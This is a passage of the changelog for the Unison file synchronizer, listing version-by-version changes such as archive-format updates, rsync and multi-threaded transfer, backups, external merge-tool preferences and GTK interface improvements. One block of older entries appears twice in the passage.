GTK-based user interface. * The manual is now available in PDF format. * We are experimenting with using a multi-threaded transport subsystem to transfer several files at the same time, making much more effective use of available network bandwidth. This feature is not completely stable yet, so by default it is disabled in the release version of Unison. If you want to play with the multi-threaded version, you'll need to recompile Unison from sources (as described in the documentation), setting the THREADS flag in Makefile.OCaml to true. Make sure that your OCaml compiler has been installed with the -with-pthreads configuration option. (You can verify this by checking whether the file threads/threads.cma in the OCaml standard library directory contains the string -lpthread near the end.) Changes since 1.292: * Reduced memory footprint (this is especially important during the first run of unison, where it has to gather information about all the files in both repositories). * Fixed a bug that would cause the socket server under NT to fail after the client exits. * Added a SHIFT modifier to the Ignore menu shortcut keys in GTK interface (to avoid hitting them accidentally). Changes since 1.231: * Tunneling over ssh is now supported in the Windows version. See the installation section of the manual for detailed instructions. * The transport subsystem now includes an implementation of the rsync protocol, built by Sylvain Gommier and Norman Ramsey. This protocol achieves much faster transfers when only a small part of a large file has been changed by sending just diffs. The rsync feature is off by default in the current version. Use the -rsync switch to turn it on. (Nb. We still have a lot of tuning to do: you may not notice much speedup yet.) * We're experimenting with a multi-threaded transport subsystem, written by Jerome Vouillon. The downloadable binaries are still single-threaded: if you want to try the multi-threaded version, you'll need to recompile from sources. (Say make THREADS=true.) Native thread support from the compiler is required. Use the option -threads N to select the maximal number of concurrent threads (default is 5). Multi-threaded and single-threaded clients/servers can interoperate. * A new GTK-based user interface is now available, thanks to Jacques Garrigue. The Tk user interface still works, but we'll be shifting development effort to the GTK interface from now on. * OCaml 3.00 is now required for compiling Unison from sources. The modules uitk and myfileselect have been changed to use labltk instead of camltk. To compile the Tk interface in Windows, you must have ocaml-3.00 and tk8.3. When installing tk8.3, put it in c:\Tcl rather than the suggested c:\Program Files\Tcl, and be sure to install the headers and libraries (which are not installed by default). * Added a new -addversionno switch, which causes unison to use unison- instead of just unison as the remote server command. This allows multiple versions of unison to coexist conveniently on the same server: whichever version is run on the client, the same version will be selected on the server. Changes since 1.219: * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you synchronize your replicas before upgrading, to avoid spurious conflicts. The first sync after upgrading will be slow. * This version fixes several annoying bugs, including: + Some cases where propagation of file permissions was not working. + umask is now ignored when creating directories + directories are create writable, so that a read-only directory and its contents can be propagated. + Handling of warnings generated by the server. + Synchronizing a path whose parent is not a directory on both sides is now flagged as erroneous. + Fixed some bugs related to symnbolic links and nonexistant roots. o When a change (deletion or new contents) is propagated onto a 'follow'ed symlink, the file pointed to by the link is now changed. (We used to change the link itself, which doesn't fit our assertion that 'follow' means the link is completely invisible) o When one root did not exist, propagating the other root on top of it used to fail, becuase unison could not calculate the working directory into which to write changes. This should be fixed. * A human-readable timestamp has been added to Unison's archive files. * The semantics of Path and Name regular expressions now correspond better. * Some minor improvements to the text UI (e.g. a command for going back to previous items) * The organization of the export directory has changed --- should be easier to find / download things now. Changes since 1.200: * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you synchronize your replicas before upgrading, to avoid spurious conflicts. The first sync after upgrading will be slow. * This version has not been tested extensively on Windows. * Major internal changes designed to make unison safer to run at the same time as the replicas are being changed by the user. * Internal performance improvements. Changes since 1.190: * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you synchronize your replicas before upgrading, to avoid spurious conflicts. The first sync after upgrading will be slow. * A number of internal functions have been changed to reduce the amount of memory allocation, especially during the first synchronization. This should help power users with very big replicas. * Reimplementation of low-level remote procedure call stuff, in preparation for adding rsync-like smart file transfer in a later release. * Miscellaneous bug fixes. Changes since 1.180: * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you synchronize your replicas before upgrading, to avoid spurious conflicts. The first sync after upgrading will be slow. * Fixed some small bugs in the interpretation of ignore patterns. * Fixed some problems that were preventing the Windows version from working correctly when click-started. * Fixes to treatment of file permissions under Windows, which were causing spurious reports of different permissions when synchronizing between windows and unix systems. * Fixed one more non-tail-recursive list processing function, which was causing stack overflows when synchronizing very large replicas. Changes since 1.169: * The text user interface now provides commands for ignoring files. * We found and fixed some more non-tail-recursive list processing functions. Some power users have reported success with very large replicas. * INCOMPATIBLE CHANGE: Files ending in .tmp are no longer ignored automatically. If you want to ignore such files, put an appropriate ignore pattern in your profile. * INCOMPATIBLE CHANGE: The syntax of ignore and follow patterns has changed. Instead of putting a line of the form ignore = in your profile (.unison/default.prf), you should put: ignore = Regexp Moreover, two other styles of pattern are also recognized: ignore = Name matches any path in which one component matches , while ignore = Path matches exactly the path . Standard ``globbing'' conventions can be used in and : + a ? matches any single character except / + a * matches any sequence of characters not including / + [xyz] matches any character from the set {x, y, z } + {a,bb,ccc} matches any one of a, bb, or ccc. See the user manual for some examples. Changes since 1.146: * Some users were reporting stack overflows when synchronizing huge directories. We found and fixed some non-tail-recursive list processing functions, which we hope will solve the problem. Please give it a try and let us know. * Major additions to the documentation. Changes since 1.142: * Major internal tidying and many small bugfixes. * Major additions to the user manual. * Unison can now be started with no arguments -- it will prompt automatically for the name of a profile file containing the roots to be synchronized. This makes it possible to start the graphical UI from a desktop icon. * Fixed a small bug where the text UI on NT was raising a 'no such signal' exception. Changes since 1.139: * The precompiled windows binary in the last release was compiled with an old OCaml compiler, causing propagation of permissions not to work (and perhaps leading to some other strange behaviors we've heard reports about). This has been corrected. If you're using precompiled binaries on Windows, please upgrade. * Added a -debug command line flag, which controls debugging of various modules. Say -debug XXX to enable debug tracing for module XXX, or -debug all to turn on absolutely everything. * Fixed a small bug where the text UI on NT was raising a 'no such signal' exception. Changes since 1.111: * INCOMPATIBLE CHANGE: The names and formats of the preference files in the .unison directory have changed. In particular: + the file ``prefs'' should be renamed to default.prf + the contents of the file ``ignore'' should be merged into default.prf. Each line of the form REGEXP in ignore should become a line of the form ignore = REGEXP in default.prf. * Unison now handles permission bits and symbolic links. See the manual for details. * You can now have different preference files in your .unison directory. If you start unison like this unison profilename (i.e. with just one ``anonymous'' command-line argument), then the file ~/.unison/profilename.prf will be loaded instead of default.prf. * Some improvements to terminal handling in the text user interface * Added a switch -killServer that terminates the remote server process when the unison client is shutting down, even when using sockets for communication. (By default, a remote server created using ssh/rsh is terminated automatically, while a socket server is left running.) * When started in 'socket server' mode, unison prints 'server started' on stderr when it is ready to accept connections. (This may be useful for scripts that want to tell when a socket-mode server has finished initalization.) * We now make a nightly mirror of our current internal development tree, in case anyone wants an up-to-the-minute version to hack around with. * Added a file CONTRIB with some suggestions for how to help us make Unison better. Changes in Version 2.9.20 Changes since 2.9.1: * Added a preference maxthreads that can be used to limit the number of simultaneous file transfers. * Added a backupdir preference, which controls where backup files are stored. * Basic support added for OSX. In particular, Unison now recognizes when one of the hosts being synchronized is running OSX and switches to a case-insensitive treatment of filenames (i.e., 'foo' and 'FOO' are considered to be the same file). (OSX is not yet fully working, however: in particular, files with resource forks will not be synchronized correctly.) * The same hash used to form the archive name is now also added to the names of the temp files created during file transfer. The reason for this is that, during update detection, we are going to silently delete any old temp files that we find along the way, and we want to prevent ourselves from deleting temp files belonging to other instances of Unison that may be running in parallel, e.g. synchronizing with a different host. Thanks to Ruslan Ermilov for this suggestion. * Several small user interface improvements * Documentation + FAQ and bug reporting instructions have been split out as separate HTML pages, accessible directly from the unison web page. + Additions to FAQ, in particular suggestions about performance tuning. * Makefile + Makefile.OCaml now sets UISTYLE=text or UISTYLE=gtk automatically, depending on whether it finds lablgtk installed + Unison should now compile ``out of the box'' under OSX Changes since 2.8.1: * Changing profile works again under Windows * File movement optimization: Unison now tries to use local copy instead of transfer for moved or copied files. It is controled by a boolean option ``xferbycopying''. * Network statistics window (transfer rate, amount of data transferred). [NB: not available in Windows-Cygwin version.] * symlinks work under the cygwin version (which is dynamically linked). * Fixed potential deadlock when synchronizing between Windows and Unix * Small improvements: + If neither the tt USERPROFILE nor the tt HOME environment variables are set, then Unison will put its temporary commit log (called tt DANGER.README) into the directory named by the tt UNISON environment variable, if any; otherwise it will use tt C:. + alternative set of values for fastcheck: yes = true; no = false; default = auto. + -silent implies -contactquietly * Source code: + Code reorganization and tidying. (Started breaking up some of the basic utility modules so that the non-unison-specific stuff can be made available for other projects.) + several Makefile and docs changes (for release); + further comments in ``update.ml''; + connection information is not stored in global variables anymore. Changes since 2.7.78: * Small bugfix to textual user interface under Unix (to avoid leaving the terminal in a bad state where it would not echo inputs after Unison exited). Changes since 2.7.39: * Improvements to the main web page (stable and beta version docs are now both accessible). * User manual revised. * Added some new preferences: + ``sshcmd'' and ``rshcmd'' for specifying paths to ssh and rsh programs. + ``contactquietly'' for suppressing the ``contacting server'' message during Unison startup (under the graphical UI). * Bug fixes: + Fixed small bug in UI that neglected to change the displayed column headers if loading a new profile caused the roots to change. + Fixed a bug that would put the text UI into an infinite loop if it encountered a conflict when run in batch mode. + Added some code to try to fix the display of non-Ascii characters in filenames on Windows systems in the GTK UI. (This code is currently untested---if you're one of the people that had reported problems with display of non-ascii filenames, we'd appreciate knowing if this actually fixes things.) + `-prefer/-force newer' works properly now. (The bug was reported by Sebastian Urbaniak and Sean Fulton.) * User interface and Unison behavior: + Renamed `Proceed' to `Go' in the graphical UI. + Added exit status for the textual user interface. + Paths that are not synchronized because of conflicts or errors during update detection are now noted in the log file. + [END] messages in log now use a briefer format + Changed the text UI startup sequence so that tt ./unison -ui text will use the default profile instead of failing. + Made some improvements to the error messages. + Added some debugging messages to remote.ml. Changes since 2.7.7: * Incorporated, once again, a multi-threaded transport sub-system. It transfers several files at the same time, thereby making much more effective use of available network bandwidth. Unlike the earlier attempt, this time we do not rely on the native thread library of OCaml. Instead, we implement a light-weight, non-preemptive multi-thread library in OCaml directly. This version appears stable. Some adjustments to unison are made to accommodate the multi-threaded version. These include, in particular, changes to the user interface and logging, for example: + Two log entries for each transferring task, one for the beginning, one for the end. + Suppressed warning messages against removing temp files left by a previous unison run, because warning does not work nicely under multi-threading. The temp file names are made less likely to coincide with the name of a file created by the user. They take the form .#..unison.tmp. * Added a new command to the GTK user interface: pressing 'f' causes Unison to start a new update detection phase, using as paths just those paths that have been detected as changed and not yet marked as successfully completed. Use this command to quickly restart Unison on just the set of paths still needing attention after a previous run. * Made the ignorecase preference user-visible, and changed the initialization code so that it can be manually set to true, even if neither host is running Windows. (This may be useful, e.g., when using Unison running on a Unix system with a FAT volume mounted.) * Small improvements and bug fixes: + Errors in preference files now generate fatal errors rather than warnings at startup time. (I.e., you can't go on from them.) Also, we fixed a bug that was preventing these warnings from appearing in the text UI, so some users who have been running (unsuspectingly) with garbage in their prefs files may now get error reports. + Error reporting for preference files now provides file name and line number. + More intelligible message in the case of identical change to the same files: ``Nothing to do: replicas have been changed only in identical ways since last sync.'' + Files with prefix '.#' excluded when scanning for preference files. + Rsync instructions are send directly instead of first marshaled. + Won't try forever to get the fingerprint of a continuously changing file: unison will give up after certain number of retries. + Other bug fixes, including the one reported by Peter Selinger (force=older preference not working). * Compilation: + Upgraded to the new OCaml 3.04 compiler, with the LablGtk 1.2.3 library (patched version used for compiling under Windows). + Added the option to compile unison on the Windows platform with Cygwin GNU C compiler. This option only supports building dynamically linked unison executables. Changes since 2.7.4: * Fixed a silly (but debilitating) bug in the client startup sequence. Changes since 2.7.1: * Added addprefsto preference, which (when set) controls which preference file new preferences (e.g. new ignore patterns) are added to. * Bug fix: read the initial connection header one byte at a time, so that we don't block if the header is shorter than expected. (This bug did not affect normal operation --- it just made it hard to tell when you were trying to use Unison incorrectly with an old version of the server, since it would hang instead of giving an error message.) Changes since 2.6.59: * Changed fastcheck from a boolean to a string preference. Its legal values are yes (for a fast check), no (for a safe check), or default (for a fast check---which also happens to be safe---when running on Unix and a safe check when on Windows). The default is default. * Several preferences have been renamed for consistency. All preference names are now spelled out in lowercase. For backward compatibility, the old names still work, but they are not mentioned in the manual any more. * The temp files created by the 'diff' and 'merge' commands are now named by prepending a new prefix to the file name, rather than appending a suffix. This should avoid confusing diff/merge programs that depend on the suffix to guess the type of the file contents. * We now set the keepalive option on the server socket, to make sure that the server times out if the communication link is unexpectedly broken. * Bug fixes: + When updating small files, Unison now closes the destination file. + File permissions are properly updated when the file is behind a followed link. + Several other small fixes. Changes since 2.6.38: * Major Windows performance improvement! We've added a preference fastcheck that makes Unison look only at a file's creation time and last-modified time to check whether it has changed. This should result in a huge speedup when checking for updates in large replicas. When this switch is set, Unison will use file creation times as 'pseudo inode numbers' when scanning Windows replicas for updates, instead of reading the full contents of every file. This may cause Unison to miss propagating an update if the create time, modification time, and length of the file are all unchanged by the update (this is not easy to achieve, but it can be done). However, Unison will never overwrite such an update with a change from the other replica, since it always does a safe check for updates just before propagating a change. Thus, it is reasonable to use this switch most of the time and occasionally run Unison once with fastcheck set to false, if you are worried that Unison may have overlooked an update. Warning: This change is has not yet been thoroughly field-tested. If you set the fastcheck preference, pay careful attention to what Unison is doing. * New functionality: centralized backups and merging + This version incorporates two pieces of major new functionality, implemented by Sylvain Roy during a summer internship at Penn: a centralized backup facility that keeps a full backup of (selected files in) each replica, and a merging feature that allows Unison to invoke an external file-merging tool to resolve conflicting changes to individual files. + Centralized backups: o Unison now maintains full backups of the last-synchronized versions of (some of) the files in each replica; these function both as backups in the usual sense and as the ``common version'' when invoking external merge programs. o The backed up files are stored in a directory /.unison/backup on each host. (The name of this directory can be changed by setting the environment variable UNISONBACKUPDIR.) o The predicate backup controls which files are actually backed up: giving the preference 'backup = Path *' causes backing up of all files. o Files are added to the backup directory whenever unison updates its archive. This means that # When unison reconstructs its archive from scratch (e.g., because of an upgrade, or because the archive files have been manually deleted), all files will be backed up. # Otherwise, each file will be backed up the first time unison propagates an update for it. o The preference backupversions controls how many previous versions of each file are kept. The default is 2 (i.e., the last synchronized version plus one backup). o For backward compatibility, the backups preference is also still supported, but backup is now preferred. o It is OK to manually delete files from the backup directory (or to throw away the directory itself). Before unison uses any of these files for anything important, it checks that its fingerprint matches the one that it expects. + Merging: o Both user interfaces offer a new 'merge' command, invoked by pressing 'm' (with a changed file selected). o The actual merging is performed by an external program. The preferences merge and merge2 control how this program is invoked. If a backup exists for this file (see the backup preference), then the merge preference is used for this purpose; otherwise merge2 is used. In both cases, the value of the preference should be a string representing the command that should be passed to a shell to invoke the merge program. Within this string, the special substrings CURRENT1, CURRENT2, NEW, and OLD may appear at any point. Unison will substitute these as follows before invoking the command: # CURRENT1 is replaced by the name of the local copy of the file; # CURRENT2 is replaced by the name of a temporary file, into which the contents of the remote copy of the file have been transferred by Unison prior to performing the merge; # NEW is replaced by the name of a temporary file that Unison expects to be written by the merge program when it finishes, giving the desired new contents of the file; and # OLD is replaced by the name of the backed up copy of the original version of the file (i.e., its state at the end of the last successful run of Unison), if one exists (applies only to merge, not merge2). For example, on Unix systems setting the merge preference to merge = diff3 -m CURRENT1 OLD CURRENT2 > NEW will tell Unison to use the external diff3 program for merging. A large number of external merging programs are available. For example, emacs users may find the following convenient: merge2 = emacs -q --eval '(ediff-merge-files ""CURRENT1"" ""CURRENT2"" nil ""NEW"")' merge = emacs -q --eval '(ediff-merge-files-with-ancestor ""CURRENT1"" ""CURRENT2"" ""OLD"" nil ""NEW"")' (These commands are displayed here on two lines to avoid running off the edge of the page. In your preference file, each should be written on a single line.) o If the external program exits without leaving any file at the path NEW, Unison considers the merge to have failed. If the merge program writes a file called NEW but exits with a non-zero status code, then Unison considers the merge to have succeeded but to have generated conflicts. In this case, it attempts to invoke an external editor so that the user can resolve the conflicts. The value of the editor preference controls what editor is invoked by Unison. The default is emacs. o Please send us suggestions for other useful values of the merge2 and merge preferences -- we'd like to give several examples in the manual. * Smaller changes: + When one preference file includes another, unison no longer adds the suffix '.prf' to the included file by default. If a file with precisely the given name exists in the .unison directory, it will be used; otherwise Unison will add .prf, as it did before. (This change means that included preference files can be named blah.include instead of blah.prf, so that unison will not offer them in its 'choose a preference file' dialog.) + For Linux systems, we now offer both a statically linked and a dynamically linked executable. The static one is larger, but will probably run on more systems, since it doesn't depend on the same versions of dynamically linked library modules being available. + Fixed the force and prefer preferences, which were getting the propagation direction exactly backwards. + Fixed a bug in the startup code that would cause unison to crash when the default profile (~/.unison/default.prf) does not exist. + Fixed a bug where, on the run when a profile is first created, Unison would confusingly display the roots in reverse order in the user interface. * For developers: + We've added a module dependency diagram to the source distribution, in src/DEPENDENCIES.ps, to help new prospective developers with navigating the code. Changes since 2.6.11: * INCOMPATIBLE CHANGE: Archive format has changed. * INCOMPATIBLE CHANGE: The startup sequence has been completely rewritten and greatly simplified. The main user-visible change is that the defaultpath preference has been removed. Its effect can be approximated by using multiple profiles, with include directives to incorporate common settings. All uses of defaultpath in existing profiles should be changed to path. Another change in startup behavior that will affect some users is that it is no longer possible to specify roots both in the profile and on the command line. You can achieve a similar effect, though, by breaking your profile into two: default.prf = root = blah root = foo include common common.prf = Now do unison common root1 root2 when you want to specify roots explicitly. * The -prefer and -force options have been extended to allow users to specify that files with more recent modtimes should be propagated, writing either -prefer newer or -force newer. (For symmetry, Unison will also accept -prefer older or -force older.) The -force older/newer options can only be used when -times is also set. The graphical user interface provides access to these facilities on a one-off basis via the Actions menu. * Names of roots can now be ``aliased'' to allow replicas to be relocated without changing the name of the archive file where Unison stores information between runs. (This feature is for experts only. See the ``Archive Files'' section of the manual for more information.) * Graphical user-interface: + A new command is provided in the Synchronization menu for switching to a new profile without restarting Unison from scratch. + The GUI also supports one-key shortcuts for commonly used profiles. If a profile contains a preference of the form 'key = n', where n is a single digit, then pressing this key will cause Unison to immediately switch to this profile and begin synchronization again from scratch. (Any actions that may have been selected for a set of changes currently being displayed will be discarded.) + Each profile may include a preference 'label = ' giving a descriptive string that described the options selected in this profile. The string is listed along with the profile name in the profile selection dialog, and displayed in the top-right corner of the main Unison window. * Minor: + Fixed a bug that would sometimes cause the 'diff' display to order the files backwards relative to the main user interface. (Thanks to Pascal Brisset for this fix.) + On Unix systems, the graphical version of Unison will check the DISPLAY variable and, if it is not set, automatically fall back to the textual user interface. + Synchronization paths (path preferences) are now matched against the ignore preferences. So if a path is both specified in a path preference and ignored, it will be skipped. + Numerous other bugfixes and small improvements. Changes since 2.6.1: * The synchronization of modification times has been disabled for directories. * Preference files may now include lines of the form include , which will cause name.prf to be read at that point. * The synchronization of permission between Windows and Unix now works properly. * A binding CYGWIN=binmode in now added to the environment so that the Cygwin port of OpenSSH works properly in a non-Cygwin context. * The servercmd and addversionno preferences can now be used together: -addversionno appends an appropriate -NNN to the server command, which is found by using the value of the -servercmd preference if there is one, or else just unison. * Both '-pref=val' and '-pref val' are now allowed for boolean values. (The former can be used to set a preference to false.) * Lot of small bugs fixed. Changes since 2.5.31: * The log preference is now set to true by default, since the log file seems useful for most users. * Several miscellaneous bugfixes (most involving symlinks). Changes since 2.5.25: * INCOMPATIBLE CHANGE: Archive format has changed (again). * Several significant bugs introduced in 2.5.25 have been fixed. Changes since 2.5.1: * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you synchronize your replicas before upgrading, to avoid spurious conflicts. The first sync after upgrading will be slow. * New functionality: + Unison now synchronizes file modtimes, user-ids, and group-ids. These new features are controlled by a set of new preferences, all of which are currently false by default. o When the times preference is set to true, file modification times are propaged. (Because the representations of time may not have the same granularity on both replicas, Unison may not always be able to make the modtimes precisely equal, but it will get them as close as the operating systems involved allow.) o When the owner preference is set to true, file ownership information is synchronized. o When the group preference is set to true, group information is synchronized. o When the numericIds preference is set to true, owner and group information is synchronized numerically. By default, owner and group numbers are converted to names on each replica and these names are synchronized. (The special user id 0 and the special group 0 are never mapped via user/group names even if this preference is not set.) + Added an integer-valued preference perms that can be used to control the propagation of permission bits. The value of this preference is a mask indicating which permission bits should be synchronized. It is set by default to 0o1777: all bits but the set-uid and set-gid bits are synchronised (synchronizing theses latter bits can be a security hazard). If you want to synchronize all bits, you can set the value of this preference to -1. + Added a log preference (default false), which makes Unison keep a complete record of the changes it makes to the replicas. By default, this record is written to a file called unison.log in the user's home directory (the value of the HOME environment variable). If you want it someplace else, set the logfile preference to the full pathname you want Unison to use. + Added an ignorenot preference that maintains a set of patterns for paths that should definitely not be ignored, whether or not they match an ignore pattern. (That is, a path will now be ignored iff it matches an ignore pattern and does not match any ignorenot patterns.) * User-interface improvements: + Roots are now displayed in the user interface in the same order as they were given on the command line or in the preferences file. + When the batch preference is set, the graphical user interface no longer waits for user confirmation when it displays a warning message: it simply pops up an advisory window with a Dismiss button at the bottom and keeps on going. + Added a new preference for controlling how many status messages are printed during update detection: statusdepth controls the maximum depth for paths on the local machine (longer paths are not displayed, nor are non-directory paths). The value should be an integer; default is 1. + Removed the trace and silent preferences. They did not seem very useful, and there were too many preferences for controlling output in various ways. + The text UI now displays just the default command (the one that will be used if the user just types ) instead of all available commands. Typing ? will print the full list of possibilities. + The function that finds the canonical hostname of the local host (which is used, for example, in calculating the name of the archive file used to remember which files have been synchronized) normally uses the gethostname operating system call. However, if the environment variable UNISONLOCALHOSTNAME is set, its value will now be used instead. This makes it easier to use Unison in situations where a machine's name changes frequently (e.g., because it is a laptop and gets moved around a lot). + File owner and group are now displayed in the ``detail window'' at the bottom of the screen, when unison is configured to synchronize them. * For hackers: + Updated to Jacques Garrigue's new version of lablgtk, which means we can throw away our local patched version. If you're compiling the GTK version of unison from sources, you'll need to update your copy of lablgtk to the developers release, available from http://wwwfun.kurims.kyoto-u.ac.jp/soft/olabl/lablgtk.html (Warning: installing lablgtk under Windows is currently a bit challenging.) + The TODO.txt file (in the source distribution) has been cleaned up and reorganized. The list of pending tasks should be much easier to make sense of, for people that may want to contribute their programming energies. There is also a separate file BUGS.txt for open bugs. + The Tk user interface has been removed (it was not being maintained and no longer compiles). + The debug preference now prints quite a bit of additional information that should be useful for identifying sources of problems. + The version number of the remote server is now checked right away during the connection setup handshake, rather than later. (Somebody sent a bug report of a server crash that turned out to come from using inconsistent versions: better to check this earlier and in a way that can't crash either client or server.) + Unison now runs correctly on 64-bit architectures (e.g. Alpha linux). We will not be distributing binaries for these architectures ourselves (at least for a while) but if someone would like to make them available, we'll be glad to provide a link to them. * Bug fixes: + Pattern matching (e.g. for ignore) is now case-insensitive when Unison is in case-insensitive mode (i.e., when one of the replicas is on a windows machine). + Some people had trouble with mysterious failures during propagation of updates, where files would be falsely reported as having changed during synchronization. This should be fixed. + Numerous smaller fixes. Changes since 2.4.1: * Added a number of 'sorting modes' for the user interface. By default, conflicting changes are displayed at the top, and the rest of the entries are sorted in alphabetical order. This behavior can be changed in the following ways: + Setting the sortnewfirst preference to true causes newly created files to be displayed before changed files. + Setting sortbysize causes files to be displayed in increasing order of size. + Giving the preference sortfirst= (where is a path descriptor in the same format as 'ignore' and 'follow' patterns, causes paths matching this pattern to be displayed first. + Similarly, giving the preference sortlast= causes paths matching this pattern to be displayed last. The sorting preferences are described in more detail in the user manual. The sortnewfirst and sortbysize flags can also be accessed from the 'Sort' menu in the grpahical user interface. * Added two new preferences that can be used to change unison's fundamental behavior to make it more like a mirroring tool instead of a synchronizer. + Giving the preference prefer with argument (by adding -prefer to the command line or prefer=) to your profile) means that, if there is a conflict, the contents of should be propagated to the other replica (with no questions asked). Non-conflicting changes are treated as usual. + Giving the preference force with argument will make unison resolve all differences in favor of the given root, even if it was the other replica that was changed. These options should be used with care! (More information is available in the manual.) * Small changes: + Changed default answer to 'Yes' in all two-button dialogs in the graphical interface (this seems more intuitive). + The rsync preference has been removed (it was used to activate rsync compression for file transfers, but rsync compression is now enabled by default). + In the text user interface, the arrows indicating which direction changes are being propagated are printed differently when the user has overridded Unison's default recommendation (====> instead of ---->). This matches the behavior of the graphical interface, which displays such arrows in a different color. + Carriage returns (Control-M's) are ignored at the ends of lines in profiles, for Windows compatibility. + All preferences are now fully documented in the user manual. Changes since 2.3.12: * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you synchronize your replicas before upgrading, to avoid spurious conflicts. The first sync after upgrading will be slow. * New/improved functionality: + A new preference -sortbysize controls the order in which changes are displayed to the user: when it is set to true, the smallest changed files are displayed first. (The default setting is false.) + A new preference -sortnewfirst causes newly created files to be listed before other updates in the user interface. + We now allow the ssh protocol to specify a port. + Incompatible change: The unison: protocol is deprecated, and we added file: and socket:. You may have to modify your profiles in the .unison directory. If a replica is specified without an explicit protocol, we now assume it refers to a file. (Previously ""//saul/foo"" meant to use SSH to connect to saul, then access the foo directory. Now it means to access saul via a remote file mechanism such as samba; the old effect is now achieved by writing ssh://saul/foo.) + Changed the startup sequence for the case where roots are given but no profile is given on the command line. The new behavior is to use the default profile (creating it if it does not exist), and temporarily override its roots. The manual claimed that this case would work by reading no profile at all, but AFAIK this was never true. + In all user interfaces, files with conflicts are always listed first + A new preference 'sshversion' can be used to control which version of ssh should be used to connect to the server. Legal values are 1 and 2. (Default is empty, which will make unison use whatever version of ssh is installed as the default 'ssh' command.) + The situation when the permissions of a file was updated the same on both side is now handled correctly (we used to report a spurious conflict) * Improvements for the Windows version: + The fact that filenames are treated case-insensitively under Windows should now be handled correctly. The exact behavior is described in the cross-platform section of the manual. + It should be possible to synchronize with Windows shares, e.g., //host/drive/path. + Workarounds to the bug in syncing root directories in Windows. The most difficult thing to fix is an ocaml bug: Unix.opendir fails on c: in some versions of Windows. * Improvements to the GTK user interface (the Tk interface is no longer being maintained): + The UI now displays actions differently (in blue) when they have been explicitly changed by the user from Unison's default recommendation. + More colorful appearance. + The initial profile selection window works better. + If any transfers failed, a message to this effect is displayed along with 'Synchronization complete' at the end of the transfer phase (in case they may have scrolled off the top). + Added a global progress meter, displaying the percentage of total bytes that have been transferred so far. * Improvements to the text user interface: + The file details will be displayed automatically when a conflict is been detected. + when a warning is generated (e.g. for a temporary file left over from a previous run of unison) Unison will no longer wait for a response if it is running in -batch mode. + The UI now displays a short list of possible inputs each time it waits for user interaction. + The UI now quits immediately (rather than looping back and starting the interaction again) if the user presses 'q' when asked whether to propagate changes. + Pressing 'g' in the text user interface will proceed immediately with propagating updates, without asking any more questions. * Documentation and installation changes: + The manual now includes a FAQ, plus sections on common problems and on tricks contributed by users. + Both the download page and the download directory explicitly say what are the current stable and beta-test version numbers. + The OCaml sources for the up-to-the-minute developers' version (not guaranteed to be stable, or even to compile, at any given time!) are now available from the download page. + Added a subsection to the manual describing cross-platform issues (case conflicts, illegal filenames) * Many small bug fixes and random improvements. Changes since 2.3.1: * Several bug fixes. The most important is a bug in the rsync module that would occasionally cause change propagation to fail with a 'rename' error. Changes since 2.2: * The multi-threaded transport system is now disabled by default. (It is not stable enough yet.) * Various bug fixes. * A new experimental feature: The final component of a -path argument may now be the wildcard specifier *. When Unison sees such a path, it expands this path on the client into into the corresponding list of paths by listing the contents of that directory. Note that if you use wildcard paths from the command line, you will probably need to use quotes or a backslash to prevent the * from being interpreted by your shell. If both roots are local, the contents of the first one will be used for expanding wildcard paths. (Nb: this is the first one after the canonization step -- i.e., the one that is listed first in the user interface -- not the one listed first on the command line or in the preferences file.) Changes since 2.1: * The transport subsystem now includes an implementation by Sylvain Gommier and Norman Ramsey of Tridgell and Mackerras's rsync protocol. This protocol achieves much faster transfers when only a small part of a large file has been changed by sending just diffs. This feature is mainly helpful for transfers over slow links---on fast local area networks it can actually degrade performance---so we have left it off by default. Start unison with the -rsync option (or put rsync=true in your preferences file) to turn it on. * ``Progress bars'' are now diplayed during remote file transfers, showing what percentage of each file has been transferred so far. * The version numbering scheme has changed. New releases will now be have numbers like 2.2.30, where the second component is incremented on every significant public release and the third component is the ``patch level.'' * Miscellaneous improvements to the GTK-based user interface. * The manual is now available in PDF format. * We are experimenting with using a multi-threaded transport subsystem to transfer several files at the same time, making much more effective use of available network bandwidth. This feature is not completely stable yet, so by default it is disabled in the release version of Unison. If you want to play with the multi-threaded version, you'll need to recompile Unison from sources (as described in the documentation), setting the THREADS flag in Makefile.OCaml to true. Make sure that your OCaml compiler has been installed with the -with-pthreads configuration option. (You can verify this by checking whether the file threads/threads.cma in the OCaml standard library directory contains the string -lpthread near the end.) Changes since 1.292: * Reduced memory footprint (this is especially important during the first run of unison, where it has to gather information about all the files in both repositories). * Fixed a bug that would cause the socket server under NT to fail after the client exits. * Added a SHIFT modifier to the Ignore menu shortcut keys in GTK interface (to avoid hitting them accidentally). Changes since 1.231: * Tunneling over ssh is now supported in the Windows version. See the installation section of the manual for detailed instructions. * The transport subsystem now includes an implementation of the rsync protocol, built by Sylvain Gommier and Norman Ramsey. This protocol achieves much faster transfers when only a small part of a large file has been changed by sending just diffs. The rsync feature is off by default in the current version. Use the -rsync switch to turn it on. (Nb. We still have a lot of tuning to do: you may not notice much speedup yet.) * We're experimenting with a multi-threaded transport subsystem, written by Jerome Vouillon. The downloadable binaries are still single-threaded: if you want to try the multi-threaded version, you'll need to recompile from sources. (Say make THREADS=true.) Native thread support from the compiler is required. Use the option -threads N to select the maximal number of concurrent threads (default is 5). Multi-threaded and single-threaded clients/servers can interoperate. * A new GTK-based user interface is now available, thanks to Jacques Garrigue. The Tk user interface still works, but we'll be shifting development effort to the GTK interface from now on. * OCaml 3.00 is now required for compiling Unison from sources. The modules uitk and myfileselect have been changed to use labltk instead of camltk. To compile the Tk interface in Windows, you must have ocaml-3.00 and tk8.3. When installing tk8.3, put it in c:\Tcl rather than the suggested c:\Program Files\Tcl, and be sure to install the headers and libraries (which are not installed by default). * Added a new -addversionno switch, which causes unison to use unison- instead of just unison as the remote server command. This allows multiple versions of unison to coexist conveniently on the same server: whichever version is run on the client, the same version will be selected on the server. Changes since 1.219: * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you synchronize your replicas before upgrading, to avoid spurious conflicts. The first sync after upgrading will be slow. * This version fixes several annoying bugs, including: + Some cases where propagation of file permissions was not working. + umask is now ignored when creating directories + directories are create writable, so that a read-only directory and its contents can be propagated. + Handling of warnings generated by the server. + Synchronizing a path whose parent is not a directory on both sides is now flagged as erroneous. + Fixed some bugs related to symnbolic links and nonexistant roots. o 